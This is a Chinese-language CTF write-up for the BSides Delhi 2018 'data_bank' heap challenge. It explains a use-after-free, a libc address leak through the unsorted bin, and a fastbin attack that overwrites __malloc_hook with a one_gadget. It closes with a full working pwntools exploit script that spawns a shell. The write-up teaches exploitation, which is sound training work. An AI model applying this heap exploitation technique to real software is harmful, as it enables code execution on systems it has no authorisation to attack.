BSides Delhi CTF 2018一道400分的pwn题

题目的名字叫做data_bank,是一个比较基础的国际赛的题但是利用这个题可以复习一下uaf关于泄漏地址和改写malloc_hook的知识。

程序功能分析



这里没有对程序进行去符号的处理还是很舒服的
可以大概知道,有add,edit,delete等常规的操作下面进行一一进行分析

add函数


这里是让我们自己输入index(顺序序列),然后自己决定大小,然后对我们的输入的size有一个check,然后是输入数据,其中get_inp就只是一个自定义的输入函数,其中没有什么特别这里就不截图出来了

edit函数


这是一个对堆内容在次进行编辑的一个函数,其中可能存在uaf的漏洞

delete函数


是一个正常的删除函数,有一个对Double free的检查所以并没有办法进行Double free但是可以看见也没有对index的指针进行清空所以存在uaf的漏洞。

view函数


循环堆进行输入

exit函数

正常的退出函数

保护查看


能开的保护基本是全上了

思路分析

先讲几个主要的保护绕过

pie绕过

首先我们申请一个small bin大小的堆块,然后free掉,其会自己加入至unsortedbin中,fd_next和fd_back都会指向libc,这个时候我们再申请一个合适大小的堆块再view,就可以打印出地址了。(刚入啃的小白可以自己gdb调试一下)

RELRO绕过

这个保护导致我们不能成功对got表进行一个写的操作,但是我们可以利用对malloc_hook进行一个程序流的控制(ps:malloc_hook 是一个 libc 上的函数指针,调用 malloc 时如果该指针不为空则执行它指向的函数,可以通过写 malloc_hook 来 getshell)

完整的利用过程

一、先进行信息泄漏,这个题目比较坑需要申请两个samll bin然后free掉才能有上图的效果,但是不论如何可以泄漏就可以啦
二、寻找到malloc_hook位置之上可以利用的一个位置,需要绕过fastbin对size的一个检查,读者们可以参考一下2017-0ctf-babyheap对这个的绕过,这里我就不多写了。
三、OneGadget的写入

exp:

from pwn import*

context.log_level = 'debug'
p = process('./data_bank')
elf = ELF('./data_bank')
libc = elf.libc
def add(index,size,data):
    p.recvuntil(">> ")
    p.send("1")
    p.recvuntil("index:")
    p.send(str(index))
    p.recvuntil("size:")
    p.send(str(size))
    p.recvuntil("data:")
    p.send(str(data))

def edit(index,data):
    p.recvuntil(">> ")
    p.send("2")
    p.recvuntil("index:")
    p.send(str(index))
    p.recvuntil("data:")
    p.send(str(data))

def remove(index):
    p.recvuntil(">> ")
    p.sendline("3")
    p.recvuntil(":\n")
    p.send(str(index))

def view(index):
    p.recvuntil(">> ")
    p.send("4")
    p.recvuntil(":\n")
    p.sendline(str(index))
def main():
    add(0,0x90,111)
    add(1,0x90,111)

    remove(0)
    remove(1)
    view(0)
    p.recvuntil('Your data :')

    main_arena = u64(p.recv(6).ljust(8,'\x00'))

    raw_input()
    libc_addr = main_arena -(0x7fd6bee35b78-0x7fd6bea71000) 

    malloc_hook = libc_addr + libc.symbols['__malloc_hook']

    addr = malloc_hook-0x23
    one = libc_addr+0xf1147

    add(3,0x60,'aaaaa\n')
    add(4,0x60,'bbbbb\n')
    remove(4)
    remove(3)
    edit(3,p64(addr)+'\n')
    add(2,0x60,'\n')
    add(5,0x60,'\x00'*0x13+p64(one)+'\n')
    p.sendline('1')
    p.sendline('6') 
    p.sendline('512')
    p.interactive()

if __name__ == '__main__':
    main()

总结

这个题目是一个对uaf的一个很好的利用,这个国际赛的本身也很适合刚入坑堆的新手进行练习,同时对malloc_hook这一个函数指针有了更多的了解,一般的题目都可以利用此种方法进行保护的绕过。

源链接

Hacking more

...